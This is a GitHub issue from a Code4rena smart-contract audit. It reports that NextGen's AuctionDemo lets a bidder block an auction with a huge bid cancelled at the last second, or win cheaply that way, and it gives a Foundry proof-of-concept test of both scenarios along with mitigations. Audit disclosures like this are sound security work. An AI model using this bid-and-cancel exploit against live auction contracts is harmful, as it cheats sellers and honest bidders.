Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

First bidder could brick auction or win the auction for a very cheap price by placing a very high bid #791

Closed
c4-submissions opened this issue Nov 10, 2023 · 7 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L56-L60
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L123-L129
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L133-L142

Vulnerability details

In order to participate in an auction, a bidder has to place a bid that is higher than the current highest bid:

function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
}

56-60

As a bidder can cancel their bid anytime before the auction ends, the first bidder can prevent others from participating in the auction by placing an absurdly high bid that they intend to cancel in the last second, making it impossible for other bidders with reasonably-priced bids to participate in the auction.

123-129

133-142

Impact

Scenario 1:

The first bidder places a very high bid, outpricing others.
Just before the auction ends, the bid is cancelled.

=> The auction doesn't have a winner
=> It is impossible to restart the auction on this contract
=> attacker will have paid gas fees
=> Token will remain in the hands of the _recipient that it was airdropped to
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#277

Scenario 2:

The first or a later bidder could win the auction for a cheap price by first placing a low bid and right after an absurdly high bid that they intend to withdraw later.
=> Others won't be able to participate in the auction
=> Just before the auction ends, the first bidder cancels the high bid and wins the auction for the first, very low bid.

In both cases, there is a possibility that a well-timed second bidder could win the auction by managing to place a bid after the large bid was cancelled. Either way, the token wouldn't be auctioned for a fair price.

Proof of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {console2} from "forge-std/console2.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";


contract BrickAuction is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address auctionContractOwner = vm.addr(101);
    address collArtistAddress = vm.addr(102);
    address auctionTokenRecipient = vm.addr(103);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    auctionDemo auctionContract;
    uint256 tokenId;

    uint256 collectionId1 = 1;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup first collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, 5, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        // note - timePeriod has to be set to avoid division by 0
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);

        // setup auction contract
        vm.startPrank(auctionContractOwner);
        auctionContract = new auctionDemo(address(minter), address(nextGenCore), address(adminContract));
        vm.stopPrank();
        assertEq(auctionContract.owner(), auctionContractOwner);

        // msg.sender is global admin
        minter.mintAndAuction(auctionTokenRecipient, "empty tokendata", 0, collectionId1, block.timestamp + 2 days);
        uint256 mintIndex = nextGenCore.viewTokensIndexMin(collectionId1);
        tokenId = nextGenCore.tokenOfOwnerByIndex(auctionTokenRecipient, 0);
        // token was minted to tokenRecipient
        assertEq(tokenId, mintIndex);
        assertEq(nextGenCore.totalSupply(), 1);
        assertEq(nextGenCore.balanceOf(auctionTokenRecipient), 1);
        // contract approval
        vm.startPrank(auctionTokenRecipient);
        nextGenCore.approve(address(auctionContract), tokenId);
        vm.stopPrank();
    }

    function testFuzz_Scenario1(address _secondBidder, uint256 _secondBid) public {
        vm.assume(_secondBid < 1000 ether && _secondBidder != address(0));
        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 1000 ether);
        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 1000 ether}(tokenId);
        vm.stopPrank();
        assertEq(auctionContract.returnHighestBid(tokenId), 1000 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder1);
        vm.deal(_secondBidder, _secondBid);
        vm.startPrank(_secondBidder);
        vm.expectRevert();
        auctionContract.participateToAuction{value: _secondBid}(tokenId);
        vm.stopPrank();

        // bidder 1 cancels bid right before auction ends
        vm.warp(block.timestamp + 2 days);
        vm.startPrank(bidder1);
        auctionContract.cancelAllBids(tokenId);
        assertEq(bidder1.balance, 1000 ether);
        // no winner
        assertEq(auctionContract.returnHighestBid(tokenId), 0);
        vm.expectRevert("No Active Bidder");
        auctionContract.returnHighestBidder(tokenId);
    }


    function testFuzz_Scenario2(address _thirdBidder, uint256 _thirdBid) public {
        vm.assume(_thirdBid < 1000 ether && _thirdBidder != address(0));
        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 1 ether);
        address bidder2 = vm.addr(202);
        vm.deal(bidder2, 1001 ether);

        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 0.1 ether}(tokenId);
        vm.stopPrank();
          assertEq(auctionContract.returnHighestBid(tokenId), 0.1 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder1);
        // bidder 2 places low bid
        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 0.11 ether}(tokenId);
        auctionContract.participateToAuction{value: 1000 ether}(tokenId);
        vm.stopPrank();

        vm.deal(_thirdBidder, _thirdBid);
        vm.startPrank(_thirdBidder);
        vm.expectRevert();
        auctionContract.participateToAuction{value: _thirdBid}(tokenId);
        vm.stopPrank();

        // bidder 1 cancels bid right before auction ends
        vm.warp(block.timestamp + 2 days);
        vm.startPrank(bidder2);
        auctionContract.cancelBid(tokenId, 2);
        assert(bidder2.balance > 1000 ether);

        // bidder2 wins with lower bid
        assertEq(auctionContract.returnHighestBid(tokenId), 0.11 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder2);
        auctionContract.claimAuction(tokenId);
        assert(nextGenCore.ownerOf(tokenId) == bidder2);
        vm.stopPrank();
    }
}

Tools used

Foundry

Recommended Mitigation Steps

Consider a change in auction style to prevent this issue, e.g.

(1) allowing bidders to participate in an auction by placing bids that are lower than the current highest bid or
(2) disallowing bidders to cancel their bids or
(3) extending the auction deadline when the highest bid gets cancelled

Consider adding a possibility to restart an auction that has ended without a bid.

Assessed type

Timing

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 10, 2023
c4-submissions added a commit that referenced this issue Nov 10, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #962

@c4-judge
Copy link

c4-judge commented Dec 2, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge
Copy link

c4-judge commented Dec 2, 2023

alex-ppg marked the issue as duplicate of #1784

@c4-judge
Copy link

c4-judge commented Dec 7, 2023

alex-ppg marked the issue as duplicate of #1323

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge c4-judge added partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) satisfactory satisfies C4 submission criteria; eligible for awards and removed partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) labels Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge c4-judge added partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) and removed satisfactory satisfies C4 submission criteria; eligible for awards labels Dec 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

3 participants